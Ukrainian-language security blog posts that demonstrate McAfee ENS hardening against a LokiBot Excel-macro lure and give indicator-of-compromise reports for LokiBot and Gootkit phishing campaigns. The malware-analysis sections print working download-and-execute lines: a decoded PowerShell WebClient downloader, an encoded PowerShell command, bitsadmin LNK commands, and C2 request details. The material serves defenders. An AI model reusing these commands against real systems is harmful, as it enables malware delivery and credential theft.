  • Заборона запуску макросів (параметри пакету MS Office або реєстр ОС або GPO) – бізнесу потрібні макроси, вимкнути їх не варіант
  • Блок запуску дочірніх процесів для додатків MS Office (Excel > CMD > PowerShell) – GPO або правило Access Protection
  • Блок запуску PowerShell з кодованими командами – GPO або сигнатури блоку Exploit Prevention ENS
  • Блокування доступу до мережі Інтернет для процесів PowerShell
  • Заборона створення та зчитування/запуску *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !

Давайте я покроково продемонструю вам як це зробити засобами базового антивірусу McAfee ENS.

Отож я нагадаю, що поточна версія McAfee ENS може включати такі модулі:

  • ENS Platform – GUI, основний framework на базі якого запускаються інші компоненти
  • ENS Threat Prevention – антивірусне ядро + перехоплення експлойтів + блок HIPS + політики Access Protection
  • ENS Firewall – мережевий брандмауер із центральним керуванням з єдиної консолі McAfee ePO
  • ENS Web Protection – клієнтська веб-фільтрація, перевірка репутації та категоризація URL
  • ENS Adaptive Threat Protection – розширений захист, механізми DAC, Real Protect та передача файлів на ATD*

Мінімальний комплект – Platform + Threat Prevention. Усе інше – за бажанням.

*Adaptive Threat Protection в базовий комплект не входить. В рамках даного допису його не застосовуємо тому його вимикаю.

Трохи про можливості модулю ENS Threat Prevention:

  • OAS, ODS сканування – перевірка по DAT та GTI
  • Упередження використання експлойтів, контроль операцій в пам’яті системи
  • Сигнатурний HIPS, блокування відомих вразливостей як локально так і на рівні мережевого трафіку (привіт MS17-010)
  • Мої улюблені правила захисту доступу або ж Access Protection

Оскільки ми з вами на початку домовилися сигнатурами не користуватися, я вимикаю OAS сканування, а ODS відключаю від GTI.

Одразу попереджаю усі знімки екрану, які я буду наводити відображають не стандартні, не стокові (My Default) політики.

(Увага!) не повторюйте це на продуктиві, без підготовки та знань це може призвести до небажаних наслідків та інфікування систем


Отож почнемо з налаштування згідно переліку контрзаходів.

#1 Блок запуску дочірніх процесів для додатків MS Office (Excel > cmd > PowerShell)

У випадку коли макроси потрібні по роботі і їх не можна просто вимкнути, щоб вберегтися від документів приманок ми можемо заблокувати запуск дочірніх процесів від імені додатків пакету MS Office. Ну розсудіть самі – невже штатний режим роботи із документами Word та Excel передбачає запуск CMD та/або PowerShell ? Якщо я відкриваю документ, то  я очікую попрацювати з документом і зберегти його, я не очікую виконання якихось команд в фоні, правда ж?

Дану задачу досить просто і швидко закрити засобами правил Access Protection, увага на екран знімки екрану:

Створюємо дубль політики Access Protection, переходимо у новостворену політику і додаємо нове користувацьке правило з наступними умовами:

Вище ми вказали кому ми забороняємо запускати, далі ми створюємо Subrule щоб вказати що саме ми блокуємо:

Зберігаємо зміни в політиці, призначаємо політику групі систем, виконуємо виклик McAfee Agent щоб система швидко застосувала нову політику. Запускаємо документ і спостерігаємо за результатом:

Ой, я правда не очікував цього, чесно. Я збирався продемонструвати вам роботу Access Protection, а ENS відстежив і заблокував роботу макросу через переповнення буферу. Я ж попереджав, що у мене політики не стокові.

Ок, 1:0 на користь McAfee. Давайте вимкнемо механізм DEP щоб отримати спрацювання по Access Protection:

Запускаємо документ вдруге і спостерігаємо за результатом:

Ок, 2:0 на користь McAfee. Давайте вимкнемо блокування для нашого правила Access Protection і перейдемо до наступного пункту:

#2 Блок запуску PowerShell з кодованими командами (-e, pOWErshELL -EncODeDCOMmaNd)

В аналізі розсилки, приманку якої ми препаруємо ви можете бачити, що макрос містить кодовані у base64 інструкції, що через cmd передаються на powershell. У тому випадку, якщо адміністратори широко застосовують powershell для рутинних задач, можна не повністю блокувати запуск powershell, а з певними параметрами. У цьому нам допоможе HIPS, який інтегровано у модуль ENS Threat Prevention, дивіться уважно:

Отже я активував сигнатури 6108 та 6087 які дозволяють мені блокувати підозріле використання PowerShell. Втретє відкриваємо документ-приманку:

Ок, 3:0 на користь McAfee. Вимикаю сигнатури і переходимо до наступного пункту.

#3 Блокування доступу до мережі Інтернет для процесів PowerShell

А дійсно – наскільки часто в штатному режимі роботи powershell з клієнтських машин повинен завантажувати з Інтернет файли? Якщо це не є ключовим моментом роботи оператора АРМ чи працівника департаменту HR, то давайте це заблокуємо засобами модулю ENS Firewall:

Правило Firewall доволі просте – я забороняю мережеву активність для певного переліку додатків:

Отже я створив та активував правило для ENS Firewall яке дозволяє мені блокувати трафік процесу PowerShell. Відкриваємо документ-приманку в четвертий раз:

Хм, ми бачимо спрацювання Access Protection по іншому правилу – blk_exe_prof (заборона створення файлів типу .exe у каталозі користувача), але зовсім не Firewall (ті які видно в списку – 16:16 – 16:28 не мають відношення до powershell, то блок broadcast). Чому? Усе просто – я забув вимкнути наперед створене правило Access Protection, а при завантаженні файлів спершу виконується функція створення файлу, а вже потім його завантаження. Отже спроба створити файл була заблокована, а передачі мережевих пакетів так і не відбулося. Давайте вимкнемо блокування по правилу AP, бо це буде наступним пунктом і все ж таки побачимо спрацювання брандмауера:

Тепер у мене створення файлів не блокується і ми відкриваємо документ-приманку вп’яте:

Ок, 4:0 на користь McAfee. Вимикаю брандмауер і переходимо до наступного пункту.

#4 Заборона створення та запуску *.EXE з каталогів профілю користувача %appdata%

О, це справді досить суперечливий метод, проте максимально дієвий. Справа у тому, що 90% усього шкідливого мотлоху, який потрапляв мені до рук за останні ~3 роки, не залежно від форми та типу обгортки, в кінцевому результаті призводив до створення (завантаження або генерація) нового .ехе файлу у каталозі користувача.

Так, я знаю, що по цьому правилу буде багато, досить багато false positive завдяки сучасним програмістам, які вважають, що записати додаток у каталог користувача це простіше і легше а ніж помістити його у Program Files і навести лад із дозволами…

Але зрозумійте одне – варто один раз витратити кілька годин щоб прописати необхідні виключення і ми отримаємо універсальний захист від різноманітних розсилок, навіть від тих обгорток та вразливостей, які ще не застосовувалися. Адже ми блокуємо фінальний етап атаки – запис та запуск шкідливого додатку. Дивіться самі як це працює:

Важливо!

Останнім часом замість %temp%, payload усе частіше записують у %AppData% або ж у Public тому правильна умова для правила – C:\Users\*\**\*.exe

Отже одним або двома правилами (якщо розносити блок запису та запуску окремо) ми забороняємо усім процесам (мінус виключення) створювати та запускати .exe файли із AppData. Відкриваємо документ-приманку вшосте:

Хм, спрацювання є, але не потому каталогу, в якому ми очікували основну частину. Давайте поглянемо на WireShark:

Але ж я обіцяв вам показати усі способи захисту в дії. Що ж скористаємося засобами PowerShell для завантаження цілком легітимного файлу – пакету 7zip:

Правило blk_exe_prof_create відпрацювало як і було задумано – сповістило проте не блокувало. А тепер давайте спробуємо запустити .exe :

Отже 5:0 на користь McAfee. Навіть якщо payload усе ж таки буде доставлено та записано через 0day вразливість ми тупо блокуємо його запуск.

І лише після деактивації блокування для правила blk_exe_prof_create жертва зможе запустити умовний payload і відбудеться інфікування системи:


Таким чином, як ви самі можете тепер бачити, щоб інфікувати систему мені довелося вимкнути 5 різних механізмів захисту.

І це без сигнатур, в яких на момент тестування payload уже був:

Порівняйте це з простим очікуванням доки виробник антивірусу обробить запит постраждалого замовника і нарешті додасть черговий зразок у базу сигнатур. А наступного дня їх буде ще більше і сигнатур уже не буде розповсюджуватися на них…

Зверніть увагу – замість того, щоб зациклюватися на конкретному зразку, я блокую канали доставки. Таким чином я прибираю у користувача можливість помилитися і стати жертвою. Я не покладаюся на шлюзи/фільтри та сигнатури – я просто знаю як працює той чи інший тип приманок і перерізаю їм роботу, навіть не замислюючись що це було – черговий ransomware чи trojan. Коли чергова фішингова розсилка буде відбиватися вищенаведеними правилами – тоді у ІТ/ІБ фахівців буде час розбиратися із дійсно важливими та складними атаками, а не вовтузитися із кожною новою хвилею примітивщини. А поки для нашого сегменту атаки на кшталт badrabbit будуть сприйматися і розганятися по ЗМІ як “супер-пупер-мега-складна” атака – ми залишатимемося вразливими для більш тонких і справді складніших операцій.

Так, по замовчуванню, одразу після розгортання продукту політики потрібно переналаштувати. Але зверніть увагу, що показані мною правила не “заточені” під конкретний зразок чи ба, навіть, під конкретну розсилку, адже приміром блок створення дочірніх процесів захистить мене не лише від макросу але й від 11882 чи DDE, а блокування кодованих команд PowerShell від інших способів атаки, наприклад OLE. Що ж до блокування створення та запуску нових .exe – цей спосіб вельми універсальний, потрібно лише правильно прописати виключення.


Отже ми з вами на прикладі одного документу із макросом розглянули реалізацію наступних механізмів захисту:

  • Блок запуску дочірніх процесів для додатків MS Office (Excel > CMD > PowerShell) – ENS Access Protection
  • Блок запуску PowerShell з кодованими командами – ENS Exploit Prevention
  • Блокування доступу до мережі Інтернет для процесів PowerShell – ENS Firewall
  • Заборона створення та запуску нових *.EXE файлів з %userprofile%, а не лише у %temp% – ENS Access Protection

Крім того, ми отримали ще додаткове спрацювання Exploit Prevention на переповнення буферу при активації макросу (не стандартні політики, максимальний захист).

Так, частину із описаних вище контрзаходів можна реалізувати засобами ОС, проте дозвольте вам зауважити, що замовник, який правильно експлуатує  захист кінцевих точок, може оперативно вносити зміни в політики захисту, адаптуючи систему захисту під нові види загроз. І це в базовому варіанті, без можливостей розширеного захисту із застосуванням ENS Adaptive Threat Protection.

Слідкуйте за маркерами, знайте свою зброю проти сучасних загроз, вмійте правильно її використовувати та пам’ятайте – головне не конкретний зразок шкідливого коду, а перекритий канал доставки.

Будьте уважні та обережні!

 

VR

IOC_lokibot_140318

Доброго дня, панове.

Вчора було зафіксовано чергову розсилку #lokibot під виглядом сповіщення служби доставки DHL.

На відміну від ISO (01/03) та RTF із 11882 (13/03), цього разу – документ Excel із макросом.

Рівень загрози – середній.

Для тих, хто врахував наші попередні рекомендації – низький.

Трохи аналітики:

  • Доставка через XLS документи, макрос передає кодовані інструкції на PowerShell
  • Адреса завантаження та ім’я файлу чітко задані інструкціями
  • Завантаження основної частини засобами процесу PowerShell
  • Хостинг основної частини та С2 один і той же хост
  • Основна частина записується у AppData а не у Temp
  • Запуск шкідливого коду не потребує прав Адміністратора
  • Зупинити атаку можна застосувавши один із шести(!) способів (див. розділ Контрзаходи)
  • Спроб закріплення не проводив
  • Даний тип ШПЗ застосовується для збору інформації та крадіжки облікових даних
  • Будуть повторні спроби доставки із перебором інших типів приманок та обгорток
  • Користувачі McAfee (VSE/ENS) зверніть увагу – payload визначається по DAT.

Схема атаки:

email > (Attach) .xlam > EXCEL > VBA > CMD > PowerShell GET h11p:\ocha-gidi{.} xyz/x/Order.exe> $env:Appdata+'\NtbCQbOq.exe'

Маркери IOC:

Документ-приманка:
SHA-256        70ee8c354807af2f2e0b33a5954bbd3beb3f654aa03f03d89bc43a5aa3e32de4
File name   senders info&parcel details.xlam
File size      63.8 KB

Основна частина:

SHA-256        77807f48686ae3c4920a4eda55e979d62cd5419ea900049119f005cf9b475c76
File name   Order.exe >> $env:Appdata+'\NtbCQbOq.exe'
File size      1.47 MB

Мережеві IOC:

Завантаження основної частини через PowerShell

111.90.147.140   ocha-gidi{.} xyz   GET /x/Order.exe HTTP/1.1

З’єднання із C2

111.90.147.140   xyz-storez{.} xyz   POST /secure/Panel/five/fre.php HTTP/1.0    Mozilla/4.08 (Charon; Inferno)

Тут ключовий момент – User Agent, який використовує #lokibot:

POST /secure/Panel/five/fre.php HTTP/1.0

User-Agent: Mozilla/4.08 (Charon; Inferno)

Host: xyz-storez{.} xyz

Accept: */*

Content-Type: application/octet-stream

Минулі розсилки:

185.148.146.121   Excellog{.} org     POST /Chisom/five/fre.php HTTP/1.0          Mozilla/4.08 (Charon; Inferno)
82.118.242.100   kelsandsons{.} info  POST /kelvin/Panel/five/fre.php HTTP/1.0    Mozilla/4.08 (Charon; Inferno)

Активність по процесам:

При відкритті документу активується макрос

"C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" /e

"C:\Windows\System32\cmd.exe" & /c pOWErshELL -EncODeDCOMmaNd ZgB1AG4AYwB0AGkAbwBuACAAcgBjAG8AeQBlAFUASwBXAFIAeQB2…

pOWErshELL  -EncODeDCOMmaNd ZgB1AG4AYwB0AGkAbwBuACAAcgBjAG8AeQBlAFUASwBXAFIAeQB…

"C:\Users\operator\AppData\Roaming\NtbCQbOq.exe"

Декодуємо base64:

(нетипова функція, імпровізують, зверніть увагу на каталог – не %temp%, а AppData\Roaming)

function rcoyeUKWRyvkuPVibYUewthwpUs

( $zSUdVuzXtPMuooDPKODOyYtb , $sHktyvsIJcLDwUZqurbSPefp )

{(New-Object System.Net.WebClient).DownloadFile( $zSUdVuzXtPMuooDPKODOyYtb , $sHktyvsIJcLDwUZqurbSPefp );

(New-Object -com Shell.Application).ShellExecute( $sHktyvsIJcLDwUZqurbSPefp ); }

try{

kill -processname EXCEL;

$ucFaRAYiGNxYCuMin=$env:Appdata+’\NtbCQbOq.exe’;

rcoyeUKWRyvkuPVibYUewthwpUs ‘h11p:\ocha-gidi{.} xyz/x/Order.exe’ $ucFaRAYiGNxYCuMin;

}catch{}

Контрзаходи:

  • Блокування мережевих запитів із локальної мережі з User Agent Mozilla/4.08 (Charon; Inferno)
  • Заборона запуску макросів (параметри пакету MS Office або реєстр ОС або GPO)
  • Блок запуску дочірніх процесів для додатків MS Office (Excel > CMD > PowerShell) – GPO або правило Access Protection
  • Блок запуску PowerShell з кодованими командами – GPO або сигнатури блоку Exploit Prevention ENS
  • Блокування доступу до мережі Інтернет для процесів PowerShell (варіант 1й)
  • Заборона створення та зчитування/запуску *.EXE з каталогів профілю користувача %appdata%
  • Посилена фільтрація передачі запускних файлів по каналам Web та Email (payload не кодований)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії
  • з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

IOC_LNK_BITS_130318

Доброго дня, панове.

Сьогодні було зафіксовано розсилку #Gootkit. (банківський троян)

Зразки були взяті з  myonlinesecurity.co.uk

Рівень загрози – високий.

Причина – застосування .LNK файлів та служби BITS в якості доставки.

Використання BITS далеко не новий спосіб (червень 16го та березень 17го)

Проте досить дієвий, оскільки мережева активність іде від імені системного процесу SVCHOST, якому як правило кисень не перекривають.

У поєднанні із застосуванням файлів-ярликів отримуємо спрацювання у більшості інфраструктур.

Користувачі захисту кінцевих точок McAfee (VSE/ENS) зверніть увагу – LNK файл детектиться по DAT, а payload – по GTI:

Трохи аналітики:

  • Доставка через .LNK файли в архіві
  • Завантаження основної частини – через SVCHOST (служба BITS)
  • Запуск шкідливого коду не потребує прав Адміністратора
  • Спроб закріплення не проводив
  • Даний тип ШПЗ застосовується для крадіжки облікових даних ДБО

Схема атаки:

email > URL > ZIP > LNK (BITS_URL) > SVCHOST GET from URL > %TEMP%\YtBvBnBv.exe

Маркери IOC:

архів:

SHA-256        1334628b3ad9da31e48a858430b648ac8b4ba128fe513cbab6e596d585a52ef3
File name   Invoice.zip
File size      1.01 KB

ярлик:

SHA-256    7363fde9c6ff4c78e1c7dd6b79acfc4e43db8a4f34458df4d004eb75dca0b549
File name   Invoice_March.lnk
File size      2.36 KB

Основна частина:

SHA-256        77eb662bfe5b638e72101713363a9f10549671ab35e8f70cd7f0b54179cd0ad6
File name   PriNtrBvF.exe >> %TEMP%\YtBvBnBv.exe
File size      252 KB

Мережеві IOC:

Завантаження архіву

h11ps:\\petpalsmarket{.} com/Invoice_March.zip

Завантаження основної частини

176.32.230.29    its-in-transit.co.uk       HEAD /PriNtrBvF.exe User-Agent: Microsoft BITS/7.5
176.32.230.29    its-in-transit.co.uk       GET /PriNtrBvF.exe User-Agent: Microsoft BITS/7.5

Активність по процесам:

Зміст ярлика:

Invoice_March.lnk

obj:

%ComSpec% /c "bitsadmin /transfer haizenetrstr /priority foreground 
h11p:\\its-in-transit.co{.} uk/PriNtrBvF.exe %TEMP%\YtBvBnBv.exe 
> NUL & start %TEMP%\YtBvBnBv.exe"

Активація LNK призводить до наступних кроків:

"C:\Windows\System32\cmd.exe" /c "bitsadmin /transfer haizenetrstr /priority foreground h11p:\its-in-transit.co{.} uk/PriNtrBvF.exe C:\tmp\YtBvBnBv.exe > NUL & start C:\tmp\YtBvBnBv.exe"

bitsadmin  /transfer haizenetrstr /priority foreground h11p:\its-in-transit.co{.} uk/PriNtrBvF.exe C:\tmp\YtBvBnBv.exe 

C:\tmp\YtBvBnBv.exe

Контрзаходи:

  • Блокування завантажень з мережі Інтернет через службу BITS (User-Agent: Microsoft BITS/xx)
  • Посилена фільтрація запускних, *.LNK та *.URL файлів по каналам Web та Email
  • Заборона створення та зчитування *.LNK та *.URL файлів в профілі користувача -див. приклад користувацького правила Access Protection

  • Заборона створення та зчитування/запуску *.EXE з каталогів профілю користувача %appdata%, а не лише у %temp% !
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR